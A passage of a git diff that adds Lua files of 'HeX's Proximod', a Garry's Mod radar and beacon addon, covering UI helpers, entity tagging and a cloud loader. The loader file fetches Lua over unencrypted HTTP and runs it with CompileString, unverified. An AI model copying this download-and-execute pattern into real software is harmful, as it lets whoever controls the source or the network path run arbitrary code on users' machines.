label:SetSize( myPanel.W_WIDTH, optiSize ) + + end + + if optbWrap then + label:SetWrap( true ) + + end + + proxi.Util_AppendPanel( myPanel, label ) + +end + +function proxi.Util_AppendSlider( myPanel, sText, sCvar, fMin, fMax, iDecimals) + local slider = vgui.Create("DNumSlider") + slider:SetText( sText ) + slider:SetMin( fMin ) + slider:SetMax( fMax ) + slider:SetDecimals( iDecimals ) + slider:SetConVar( sCvar ) + + proxi.Util_AppendPanel( myPanel, slider ) +end + +function proxi.Util_AppendColor( myPanel, sCvar ) + local ctrl = vgui.Create("CtrlColor") + ctrl.Prefix = sCvar + ctrl:SetConVarR(ctrl.Prefix .."_r") + ctrl:SetConVarG(ctrl.Prefix .."_g") + ctrl:SetConVarB(ctrl.Prefix .."_b") + ctrl:SetConVarA(ctrl.Prefix .."_a") + proxi.Util_AppendPanel(myPanel, ctrl) +end + +function proxi.Util_AppendPreset( myPanel, sFolder, tCvars, opttOptions ) + local ctrl = vgui.Create( "ControlPresets", self ) + + ctrl:SetPreset( sFolder ) + + if ( opttOptions ) then + for k, v in pairs( opttOptions ) do + if ( k != "id" ) then + ctrl:AddOption( k, v ) + end + end + end + + if ( tCvars ) then + for k, v in pairs( tCvars ) do + ctrl:AddConVar( v ) + end + end + + proxi.Util_AppendPanel( myPanel, ctrl ) + +end + +function proxi.Util_MakeFrame( width, height, optsTitleAppend ) + local myPanel = vgui.Create( "DFrame" ) + local border = 4 + + myPanel.W_HEIGHT = height - 20 + myPanel.W_WIDTH = width - 2 * border + + myPanel:SetPos( ScrW() * 0.5 - width * 0.5 , ScrH() * 0.5 - height * 0.5 ) + myPanel:SetSize( width, height ) + myPanel:SetTitle( PROXI_NAME .. (proxi_internal.IsUsingCloud and proxi_internal.IsUsingCloud() and " over Cloud" or "" ) .. (optsTitleAppend or "" ) ) + myPanel:SetVisible( false ) + myPanel:SetDraggable( true ) + myPanel:ShowCloseButton( true ) + myPanel:SetDeleteOnClose( false ) + + myPanel.Contents = vgui.Create( "DPanelList", myPanel ) + myPanel.Contents:SetPos( border , 22 + border ) + myPanel.Contents:SetSize( myPanel.W_WIDTH, height - 2 * border - 22 ) + myPanel.Contents:SetSpacing( 5 ) + myPanel.Contents:EnableHorizontal( false ) + myPanel.Contents:EnableVerticalScrollbar( false ) + + myPanel.Categories = {} + + return myPanel +end + +function proxi.Util_MakeCategory( myPanel, sTitle, bExpandDefault ) + local category = vgui.Create("DCollapsibleCategory", myPanel.Contents) + category.List = vgui.Create("DPanelList", category ) + table.insert( myPanel.Categories, {category, bExpandDefault} ) + category:SetSize( myPanel.W_WIDTH, 50 ) + category:SetLabel( sTitle ) + + category.List:EnableHorizontal( false ) + category.List:EnableVerticalScrollbar( false ) + + return category +end + +function proxi.Util_CatchCurrentCategory( myPanel ) + return myPanel.Categories[ #myPanel.Categories ][ 1 ] + +end + +function proxi.Util_ApplyCategories( myPanel ) + for k,subtable in pairs( myPanel.Categories ) do + subtable[1]:SetExpanded( opt_tExpand and (opt_tExpand[k] and 1 or 0) or subtable[2] ) + subtable[1].List:SetSize( myPanel.W_WIDTH, myPanel.W_HEIGHT - #myPanel.Categories * 10 - 10 ) + subtable[1]:SetSize( myPanel.W_WIDTH, myPanel.W_HEIGHT - #myPanel.Categories * 10 ) + + subtable[1].List:PerformLayout() + subtable[1].List:SizeToContents() + + subtable[1]:SetContents( subtable[1].List ) + + myPanel.Contents:AddItem( subtable[1] ) + end + +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_util.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_util.lua new file mode 100644 index 0000000..17075a6 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_util.lua @@ -0,0 +1,72 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Utility functions // +//////////////////////////////////////////////// + +function proxi:FamiliarizeString( stringInput ) + local stringParts = string.Explode( "_", stringInput ) + local stringOutput = "" + for k,part in pairs( stringParts ) do + local len = string.len( part ) + if len == 1 then + stringOutput = stringOutput .. string.upper( part ) + + elseif len > 1 then + stringOutput = stringOutput .. string.Left( string.upper( part ), 1 ) .. string.Right( part, len - 1 ) + + end + + if k != #stringParts then stringOutput = stringOutput .. " " end + + end + return stringOutput + +end + +function proxi:Util_CalcPowerUniform( fUniform ) + return fUniform ^ 2, (1 - (1 - fUniform) ^ 2 ) +end + +function proxi:Util_GetVarColorVariadic( sCvar ) + return self.GetVar(sCvar .. "_r"), self.GetVar(sCvar .. "_g"), self.GetVar(sCvar .. "_b"), self.GetVar(sCvar .. "_a"); + +end + +function proxi.Util_AppendCvar( tGroup, sName, oDefault, sType, ... ) + if not sType then + tGroup[sName] = oDefault + + elseif sType == "color" then + tGroup[sName .. "_r"] = oDefault[1] + tGroup[sName .. "_g"] = oDefault[2] + tGroup[sName .. "_b"] = oDefault[3] + tGroup[sName .. "_a"] = oDefault[4] + + end + + +end + +function proxi.Util_BuildCvars( tGroup, sPrefix ) + if not sPrefix then return end + + for sName,oDefault in pairs( tGroup ) do + proxi.CreateVar( tostring( sPrefix ) .. tostring( sName ), tostring( oDefault ), true, false ) + + end + +end + +function proxi.Util_RestoreCvars( tGroup, sPrefix ) + if not sPrefix then return end + + for sName,oDefault in pairs( tGroup ) do + proxi.SetVar( tostring( sPrefix ) .. tostring( sName ), tostring( oDefault ) ) + + end + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/autorun/client/cl_proxi_autorun.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/autorun/client/cl_proxi_autorun.lua new file mode 100644 index 0000000..5405e32 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/autorun/client/cl_proxi_autorun.lua @@ -0,0 +1,12 @@ + + + +if not iface3 then + HeXInclude = include +end + + +HeXInclude("sh_proxi_autorun.lua") + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cd_proxi_includelist.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cd_proxi_includelist.lua new file mode 100644 index 0000000..b61f19c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cd_proxi_includelist.lua @@ -0,0 +1,40 @@ +//if not ADDON_PROP then return end + +ADDON_PROP = {} +---- Preload +table.insert( ADDON_PROP, "cl_proxi_base.lua" ) + +local HAYFRAME_DIR = "proxi_hayframe/" +table.insert( ADDON_PROP, HAYFRAME_DIR .. "hayframe__initializer.lua" ) +table.insert( ADDON_PROP, HAYFRAME_DIR .. "hayframe_util.lua" ) +table.insert( ADDON_PROP, HAYFRAME_DIR .. "hayframe_var.lua" ) +table.insert( ADDON_PROP, HAYFRAME_DIR .. "hayframe_cmds.lua" ) +table.insert( ADDON_PROP, HAYFRAME_DIR .. "hayframe_mediator.lua" ) +table.insert( ADDON_PROP, HAYFRAME_DIR .. "hayframe_changelog.lua" ) +table.insert( ADDON_PROP, HAYFRAME_DIR .. "hayframe_ctrlcolor.lua" ) +table.insert( ADDON_PROP, HAYFRAME_DIR .. "hayframe_context.lua" ) + +table.insert( ADDON_PROP, "cl_proxi_dup_virtualscene.lua" ) + +---- Beacons +table.insert( ADDON_PROP, "cl_proxi_beacons.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/players.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/physprops.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/rockets.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/bolts.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/playerlos.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/nades.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/compass.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/contraptioncompass.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/npc.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/npclos.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/wallfinder.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/chat.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/wallfinderpierce.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/helpersquare.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/voicechat.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/wallfinderpierceback.lua" ) + +---- Menu +table.insert( ADDON_PROP, "ProxiCollapsibleCheckbox.lua" ) +table.insert( ADDON_PROP, "cl_proxi_menu.lua" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_base.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_base.lua new file mode 100644 index 0000000..bbedc87 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_base.lua @@ -0,0 +1,144 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Base // +//////////////////////////////////////////////// +-- proxi table is declared by the Cloud. Don't empty it on this file. + +-- Don't use local shortcut here, it fails (index upvalue) +----local proxi = proxi + +PROXI_SHORT = "PROXI" + +proxi_util = {} + +function proxi.IsEnabled() + -- Here we use proxi and no method form, as an extra security for external scripts + -- that would try to call proxi.IsEnabled() + return proxi:GetVar("core_enable") > 0 + +end + +function proxi.ReloadFromCloud() + if proxi_cloud then + proxi_cloud:Ask() + end + +end + +function proxi.ReloadFromLocale() + if proxi_cloud then + proxi_cloud:LoadLocale() + end + +end + +function proxi.QuickThink() + proxi:UpdateBeacons() + +end + + +function proxi.Mount() + local self = proxi + + proxi_util.OutputLineBreak( ) + proxi_util.OutputIn( "Mounting ..." ) + + proxi.dat = {} + + self:RequireParameterMediator( ) + self:CreateVarParam( "bool", "core_enable", "1", { callback = function( sCvar, prev, new ) + if not proxi then return end + -- The following line is performed by the param already, as it is a bool. + --if (tonumber( new ) <= 0 and tonumber( prev ) <= 0) or (tonumber( new ) > 0 and tonumber( prev ) > 0) then return end + + if tonumber( new ) > 0 then + proxi:MountBeacons() + + else + proxi:UnmountBeacons() + + end + + end } ) + + self:CreateVarParam( "range", "global_finderdistance", "8192") + self:CreateVarParam( "range", "regmod_xrel", "0.2" ) + self:CreateVarParam( "range", "regmod_yrel", "0.2") + self:CreateVarParam( "range", "regmod_size", "172") + self:CreateVarParam( "range", "regmod_pinscale", "5") + self:CreateVarParam( "range", "regmod_fov", "45") + self:CreateVarParam( "range", "regmod_radius", "2048") + self:CreateVarParam( "range", "regmod_angle", "50") + self:CreateVarParam( "range", "regmod_pitchdyn", "2") + self:CreateVarParam( "bool", "eyemod_override", "0") + self:CreateVarParam( "color", "uidesign_ringcolor", {147, 201, 224, 255} ) + self:CreateVarParam( "color", "uidesign_backcolor", {32, 37, 43, 128} ) + + + self.cmdGroups = {} + self.cmdGroups.call = {} + self:AppendCmd( self.cmdGroups, "core_enable", function(p,c,args) self:SetVar("core_enable", args[1] ) end ) + self:AppendCmd( self.cmdGroups.call, "changelog", function() self.ShowChangelog( self ) end ) + self:AppendCmd( self.cmdGroups.call, "menu", function() self.OpenMenu( self ) end ) + self:AppendCmd( self.cmdGroups, "menu", function() self.OpenMenu( self ) end ) + self:AppendCmd( self.cmdGroups, "+menu", function() self.OpenMenu( self ) end ) + self:AppendCmd( self.cmdGroups, "-menu", function() self.CloseMenu( self ) end ) + + self.cmdGroupsNoRemove = {} + self:AppendCmd( self.cmdGroupsNoRemove, "cloud_locale", proxi.ReloadFromLocale ) + + self:BuildCmds( self.cmdGroups, "" ) + self:BuildCmds( self.cmdGroupsNoRemove, "" ) + + self:MountMenu() + + hook.Add( "Think", "proxi.QuickThink", proxi.QuickThink ) + hook.Add( "HUDPaint", "proxi.HUDPaint", proxi.HUDPaint ) + + proxi:RemoveAllPhysicalTags() + proxi:MountBeacons( ) + + proxi_util.OutputIn( "Mount complete : " .. (proxi_internal.IsUsingCloud() and "Cloud" or "Locale") ) + proxi_util.OutputLineBreak( ) + +end + +function proxi.Unmount() + local self = proxi + + local bOkay, strErr = pcall(function() + -- Insert parachute Unmount + + proxi_util.OutputLineBreak( ) + proxi_util.OutputOut( "Unmounting ..." ) + + self:DestroyChangelog() + self:UnmountMenu() + self:DismountCmds( self.cmdGroups ) + + proxi_simmap = nil + hook.Remove( "HUDPaint", "proxi.HUDPaint" ) + hook.Remove( "Think", "proxi.QuickThink" ) + + + proxi_util.OutputOut( "Unmount complete." ) + proxi_util.OutputLineBreak( ) + + end) + if not bOkay then + proxi_util.OutputError( tostring(strErr) , "while unmounting" ) + + end + + -- Don't remove proxi_util + -- proxi_util = {} + proxi = nil + +end + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_beacons.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_beacons.lua new file mode 100644 index 0000000..6bd9e39 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_beacons.lua @@ -0,0 +1,364 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Beacons System // +//////////////////////////////////////////////// +local proxi = proxi + +-- Won't make a metatable because there are so few base functions + +local PROXI_BEACONS = {} +local PROXI_STANDALONE = {} +local PROXI_BEACONORDER = {} + +local PROXI_LastQueryBeacons = 0 +local PROXI_BeaconQueryDelay = 0.1 -- Seconds. + +local PROXI_TaggedEntities = {} + +function proxi:ResetAllTags() + //debug.Trace() + //print( "Reset all tags." ) + PROXI_TaggedEntities = {} + proxi:RemoveAllPhysicalTags() + +end + +function proxi:RemoveAllPhysicalTags() + local allEnts = ents.GetAll() + for _,ent in pairs( allEnts ) do + if ValidEntity( ent ) then + ent.__proxi_hasTags = nil + ent.__proxi_tags = nil + end + + end + +end + +function proxi:UpdateBeacons() + if CurTime() < (PROXI_LastQueryBeacons + PROXI_BeaconQueryDelay) then return end + PROXI_LastQueryBeacons = CurTime() + + local allEnts = ents.GetAll() + for _,ent in pairs( allEnts ) do + local couldTag = self:TagEntity( ent ) + + -- couldTag can be a BOOLEAN or NIL :: "if (couldTag == true)" DOES NOT EQUAL TO "if (couldtag)" + -- Actually, if there were only "(clouldTag)" it could work. + -- If there is a case where I need "coundTag == false" then do "couldTag == false" and not "not couldTag" + if couldTag == true then + table.insert( PROXI_TaggedEntities, ent ) + + end + + end + + local i = 1 + while i <= #PROXI_TaggedEntities do + if not ValidEntity( PROXI_TaggedEntities[ i ] ) then + table.remove( PROXI_TaggedEntities, i ) + + else + i = i + 1 + + end + + end + +end + +function proxi:GetAllBeacons() + return PROXI_BEACONS + +end + +function proxi:GetTaggedEntities() + return PROXI_TaggedEntities + +end + +function proxi:TagEntity( ent ) + if not ValidEntity( ent ) then return nil end + if ent.__proxi_hasTags ~= nil then return nil end -- CAN'T DEFINE TAGS ON AN ENTITIES THAT ALREADY HAVE. + + ent.__proxi_hasTags = false + local tags = {} + for tag,objBecon in pairs( PROXI_BEACONS ) do + -- NO MATTER IF THE BEACON IS ENABLED OR NOT + // Think about algorithm again ? + if not objBecon.IsStandAlone then + if objBecon:ShouldTag( ent ) then + table.insert(tags, tag) + + end + + end + + end + + if #tags > 0 then + ent.__proxi_hasTags = true + ent.__proxi_tags = tags + + end + + return ent.__proxi_hasTags + +end + +local PROXI_STEPS = { + [0] = "PerformMath", + [1] = "DrawUnderCircle", + [2] = "DrawUnderCircle2D", + [3] = "DrawOverCircle", + [4] = "DrawOverCircle2D", + [5] = "DrawOverEverything" +} + +function proxi:DebugBeaconOps( tEnts, iStep ) + local sStep = PROXI_STEPS[iStep] + self:DebugEntOps( sStep, tEnts, self:GetCurrentViewData() ) + self:DebugStandAloneOps( sStep ) + +end + +function proxi:DebugEntOps( sStep, tEnts, viewData ) + for k,ent in pairs( tEnts ) do + if ValidEntity( ent ) then + for l,tag in pairs( ent.__proxi_tags ) do + // should we Run a check on the tag existence ? ? + local objBeacon = PROXI_BEACONS[tag] + if objBeacon[sStep] and objBeacon:IsEnabled() and not objBeacon:IsEntityOffLimits( ent, viewData ) then + objBeacon[sStep]( objBeacon, ent ) + + end + + end + + end + + end + +end + +function proxi:DebugStandAloneOps( sStep, viewData ) + for k,tag in pairs ( PROXI_STANDALONE ) do + local objBeacon = PROXI_BEACONS[tag] + if objBeacon[sStep] and objBeacon:IsEnabled() then + objBeacon[sStep]( objBeacon ) + + end + + end + +end + +function proxi:MountBeacons( ) + self:ResetAllTags() + + for tag,objBeacon in pairs ( PROXI_BEACONS ) do + if objBeacon:IsEnabled( ) then + objBeacon:Mount( true ) + + end + + end + +end + +function proxi:UnmountBeacons( ) + self:ResetAllTags() + + for tag,objBeacon in pairs ( PROXI_BEACONS ) do + objBeacon:Unmount( true ) + + end + +end + +function proxi:OrderBeaconTable() + table.sort( PROXI_BEACONORDER, function( a, b ) + return (PROXI_BEACONS[a]:GetBarnstar() == PROXI_BEACONS[b]:GetBarnstar()) and (PROXI_BEACONS[a]:GetDisplayName() < PROXI_BEACONS[b]:GetDisplayName()) or (PROXI_BEACONS[a]:GetBarnstar() > PROXI_BEACONS[b]:GetBarnstar()) + + end ) + +end + +function proxi:GetBeaconOrderTable() + return PROXI_BEACONORDER +end + + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// + + +local BEACON = {} + +function BEACON:IsEnabled( ) + return proxi:GetVar("beacons_enable_" .. self._rawname) > 0 + +end + +function BEACON:GetDisplayName( ) + return self.Name + +end + +function BEACON:GetRawName( ) + return self._rawname + +end + +function BEACON:GetDescription( ) + return self.Description or nil + +end + +function BEACON:GetBarnstar() + return proxi:GetVar( "beacons_barnstar_" .. self._rawname ) + +end + +function BEACON:IsMounted() + return self._IsMounted +end + +function BEACON:HasBypassDistance( ) + return self._CanBypassDistance +end + +function BEACON:IsBypassingDistance( ) + return not self._CanBypassDistance or (proxi:GetVar( "beacons_settings_" .. self._rawname .. "__bypassdistance" ) > 0) +end + +function BEACON:IsEntityOffLimits( ent, viewData, optb_forceTest ) + if not optb_forceTest and self:IsBypassingDistance( ) then return false end + + if self.IsEntityOffLimitsCustom then + return self:IsEntityOffLimitsCustom( ent, viewData ) + end + return (ent:GetPos() - viewData.referencepos):Length() > viewData.bypass_distance // TODO : RADIUS +end + + +function BEACON:Mount( optbNoTagReset ) + if self._IsMounted then return false end + + if self.Load then + local bOkay, strErr = pcall(function() self:Load() end) + if not bOkay then Error(" > " .. PROXI_NAME .. " MountPlugin ERROR [".. self._rawname .."] : ".. strErr) end + end + + for hookName, func in pairs(self.Hooks) do + hook.Add( hookName , "proxi_" .. self._rawname .. "_" .. hookName , func ) + + end + + self._IsMounted = true + + if not optbNoTagReset then proxi:ResetAllTags() end + +end + +function BEACON:Unmount( optbNoTagReset ) + if not self._IsMounted then return false end + + for hookName, func in pairs(self.Hooks) do + hook.Remove( hookName , "proxi_" .. self._rawname .. "_" .. hookName) + end + + if self.Unload then + local bOkay, strErr = pcall(function() self:Unload() end) + if not bOkay then ErrorNoHalt(" > " .. INSCRIPT_NAME .. " UnmountPlugin ERROR [".. self._rawname .."] : ".. strErr) end + + end + + self._IsMounted = false + + if not optbNoTagReset then proxi:ResetAllTags() end +end + +local proxi_beacon_meta = {__index=BEACON} + + + +-- LIBVAR + +function proxi.RegisterBeacon( objBeacon, sName ) + proxi:RequireParameterMediator( ) + + if not objBeacon or not sName then return end + sName = string.lower( sName ) + if string.find( sName, " " ) or string.find( sName, "_" ) or PROXI_BEACONS[sName] then return end + + objBeacon.IsStandAlone = objBeacon.IsStandAlone or false + if objBeacon.IsStandAlone then + table.insert(PROXI_STANDALONE, sName) + + elseif not objBeacon.ShouldTag then + return -- ERROR : Not standalone but no way to tag either ! It's invalid ! + + else + objBeacon._CanBypassDistance = (objBeacon.CanBypassDistance == nil) or objBeacon.CanBypassDistance + + end + + objBeacon._IsMounted = false + + objBeacon.Name = objBeacon.Name or ("<" .. sName .. ">") + objBeacon._rawname = sName + + objBeacon.Hooks = {} + if objBeacon.HOOK then + for name, func in pairs( objBeacon.HOOK ) do + if type(func) == "function" then + objBeacon.Hooks[name] = function(...) + if not proxi or not proxi.IsEnabled or not proxi.IsEnabled() then return end + return func( objBeacon, ... ) + + end + end + end + + end + + PROXI_BEACONS[sName] = objBeacon + table.insert( PROXI_BEACONORDER, sName ) + + proxi:CreateVarParam("bool", "beacons_barnstar_" .. sName, "0", true, false) + if objBeacon._CanBypassDistance then + proxi:CreateVarParam("bool", "beacons_settings_" .. sName .. "__bypassdistance", (objBeacon.DefaultBypassDistance or false) and "1" or "0") + + end + proxi:CreateVarParam("bool", "beacons_enable_" .. sName, (objBeacon.DefaultOn or false) and "1" or "0", { callback = function( sCvar, prev, new ) + --local name = string.gsub( sCvar, proxi:GetVarName( "beacons_enable_" ), "" ) + + if not proxi then return end + if not proxi.GetAllBeacons or not proxi:GetAllBeacons() or not proxi:GetAllBeacons()[ sName ] then return end + + if tonumber( new ) > 0 then + proxi:GetAllBeacons()[ sName ]:Mount() + + else + proxi:GetAllBeacons()[ sName ]:Unmount() + + end + + end } ) + + setmetatable(objBeacon, proxi_beacon_meta) + + proxi:OrderBeaconTable() + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_cloudloader.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_cloudloader.lua new file mode 100644 index 0000000..4370290 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_cloudloader.lua @@ -0,0 +1,253 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Cloud Loader // +//////////////////////////////////////////////// + +if proxi_cloud then pcall(function() proxi_cloud.Unmount() end) end + +proxi_cloud = {} +proxi_cloudloader_version = 1.1 + +local PROXI_IsUsingCloud = false + +local PROXI_CloudReceiverTimeoutDelay = 3 // !! + +local PROXI_CloudReceiverQueried = 0 +local PROXI_CloudReceiverResponded = false +local PROXI_CloudReceiverAborted = false + +local PROXI_CloudReceiverNumTries = 3 + +local PROXI_CloudContents = "" +--local PROXI_CloudComposedContents = "" +local PROXI_CloudFileList = {} +local PROXI_CloudSubContents = {} +local PROXI_Origin = "http://proximod.googlecode.com/svn/trunk/lua/" +local PROXI_Start = "cd_proxi_includelist.lua" + + +function proxi_cloud.IsUsingCloud() + return PROXI_IsUsingCloud + +end + +function proxi_cloud.BuildBase() + pcall(function() if proxi and proxi.Unmount then proxi.Unmount() end end) + proxi = {} + proxi_dat = {} + +end + +local function PROXI_ReceiveCloud( contents , size ) + if PROXI_CloudReceiverResponded or PROXI_CloudReceiverAborted then return end + + //debug should perform checks here + PROXI_CloudContents = contents + + PROXI_CloudReceiverResponded = true + + // debug direct load + proxi_cloud.Load() + +end + +function proxi_cloud.Load() + if PROXI_CloudContents == "" then return end + + ADDON_PROP = {} + + local bOkay, strErr = pcall(function() proxi_cloud.InternalLoad() end) + local bCouldLoad = false + + if not bOkay then + print(" > " .. PROXI_NAME .. " Cloud Contents failed to pass semantics : ".. strErr) + + elseif (ADDON_PROP == nil) or (type(ADDON_PROP) ~= "table") or (#ADDON_PROP == 0) then + print(" > " .. PROXI_NAME .. " Cloud Contents misses standard table.") + + else + PROXI_CloudFileList = table.Copy(ADDON_PROP) + bCouldLoad = true + + print(" > " .. PROXI_NAME .. " Cloud Contents now gathering Cloud Contents...") + proxi_cloud.GatherSubContents() + + end + + ADDON_PROP = nil + + if not bCouldLoad then + print(" > " .. PROXI_NAME .. " couldn't load from Cloud. Now using Locale.") + proxi_cloud.LoadLocale() + + end + +end + +local function PROXI_ReceiveSubContents( args ,contents , size ) + if PROXI_CloudReceiverResponded or PROXI_CloudReceiverAborted then return end + + local packet_num = args[1] + PROXI_CloudSubContents[packet_num] = contents + print(" > " .. PROXI_NAME .. " Cloud Contents received packet #".. packet_num .." of ".. #PROXI_CloudFileList .. " :: ".. PROXI_CloudFileList[packet_num]) + + if table.Count(PROXI_CloudSubContents) == #PROXI_CloudFileList then + PROXI_CloudReceiverResponded = true + print(" > " .. PROXI_NAME .. " Cloud Contents trying to mount from Cloud...") + proxi_cloud.LoadComposition() + + end + +end + +function proxi_cloud.GatherSubContents() + for k,path in pairs( PROXI_CloudFileList ) do + http.Get( PROXI_Origin .. path , "", PROXI_ReceiveSubContents, k ) + proxi_cloud.CheckTimeout( true ) + + end + +end + +function proxi_cloud.InternalLoad() + CompileString( PROXI_CloudContents , "PROXI_InternalLoad" )() + +end + +function proxi_cloud.LoadComposition() + + local bOkay, strErr = pcall(function() proxi_cloud.InternalCompose() end) + local bCouldLoad = false + + if not bOkay then + print(" > " .. PROXI_NAME .. " Cloud Contents Composition failed to pass semantics : ".. strErr) + + print(" > " .. PROXI_NAME .. " couldn't load from Cloud. Now using Locale.") + proxi_cloud.LoadLocale() + + else + proxi_cloud.AttemptMount() + + end + +end + +function proxi_cloud.InternalCompose() + proxi_cloud.BuildBase() + for i = 1, #PROXI_CloudSubContents do + CompileString( PROXI_CloudSubContents[i] , "PROXI_INTERNALCOMPOSE__PACKET" .. tostring(i) )() + + end + +end + +function proxi_cloud.AttemptMount() + PROXI_IsUsingCloud = true + local bCouldLoad = false + + local strBivalErr = "" + bCouldLoad, strBivalErr = pcall(function() proxi.Mount() end) + if not bCouldLoad then + print(" > " .. PROXI_NAME .. " Cloud Contents failed to mount : ".. strBivalErr) + //Now used in buildbase + //pcall(function() proxi.Unmount() end) + + print(" > " .. PROXI_NAME .. " couldn't load from Cloud. Now using Locale.") + proxi_cloud.LoadLocale() + else + print(" > " .. PROXI_NAME .. " successfully loaded from Cloud.") + + end + +end + +function proxi_cloud.CheckTimeout( bFirst ) + if bFirst then + timer.Create("PROXI_CLOUD_TIMEOUT", PROXI_CloudReceiverTimeoutDelay, 1, proxi_cloud.CheckTimeout) + PROXI_CloudReceiverQueried = 0 + PROXI_CloudReceiverResponded = false + PROXI_CloudReceiverAborted = false + + elseif not PROXI_CloudReceiverResponded then + PROXI_CloudReceiverQueried = PROXI_CloudReceiverQueried + 1 + + if PROXI_CloudReceiverQueried <= PROXI_CloudReceiverNumTries then + print(" > " .. PROXI_NAME .. " Cloud Contents failed to respond on check #" .. PROXI_CloudReceiverQueried .. ". Waiting.") + timer.Create("PROXI_CLOUD_TIMEOUT", PROXI_CloudReceiverTimeoutDelay, 1, proxi_cloud.CheckTimeout) + + else + print(" > " .. PROXI_NAME .. " Cloud Contents failed to respond on check #" .. PROXI_CloudReceiverQueried .. ".") + proxi_cloud.Abort() + + end + + end + + +end + +function proxi_cloud.Abort() + if PROXI_CloudReceiverAborted then return end + + print(" > " .. PROXI_NAME .. " Cloud Contents loading aborted. Now using Locale.") + PROXI_CloudReceiverAborted = true + proxi_cloud.LoadLocale() + +end + +function proxi_cloud.LoadLocale() + PROXI_IsUsingCloud = false + proxi_cloud.BuildBase() + + ADDON_PROP = {} + + HeXInclude( PROXI_Start ) + + for i = 1, #ADDON_PROP do + HeXInclude( ADDON_PROP[i] ) + + end + + ADDON_PROP = nil + + if proxi.Mount then + proxi.Mount() + + end + +end + +function proxi_cloud.Ask() + print(" > " .. PROXI_NAME .. " now trying to reach Cloud...") + + PROXI_CloudReceiverQueried = 0 + PROXI_CloudContents = "" + PROXI_CloudFileList = {} + PROXI_CloudSubContents = {} + + proxi_cloud.Query() + proxi_cloud.CheckTimeout( true ) + +end + +function proxi_cloud.Query() + http.Get( PROXI_Origin .. PROXI_Start, "", PROXI_ReceiveCloud ) + +end + +function proxi_cloud.Mount() + concommand.Add( "proxi_cloud_ask", proxi_cloud.Ask ) + +end + + +function proxi_cloud.Unmount() + concommand.Remove( "proxi_cloud_ask" ) + +end + +proxi_cloud.Mount() diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_dup_virtualscene.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_dup_virtualscene.lua new file mode 100644 index 0000000..51ae385 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_dup_virtualscene.lua @@ -0,0 +1,492 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Virtual Scene // +//////////////////////////////////////////////// +local proxi = proxi + +local RING_TEX_ID = surface.GetTextureID( "proxi/rad_ring.vmt" ) +local RING_MATFIX = 1.07 +local PROXI_CURRENT_VIEWDATA = nil +local PROXI_CALC_SCREENPOS = nil + +function proxi:GetPinScale() + return self:GetVar( "regmod_size" ) / 256 * self:GetVar( 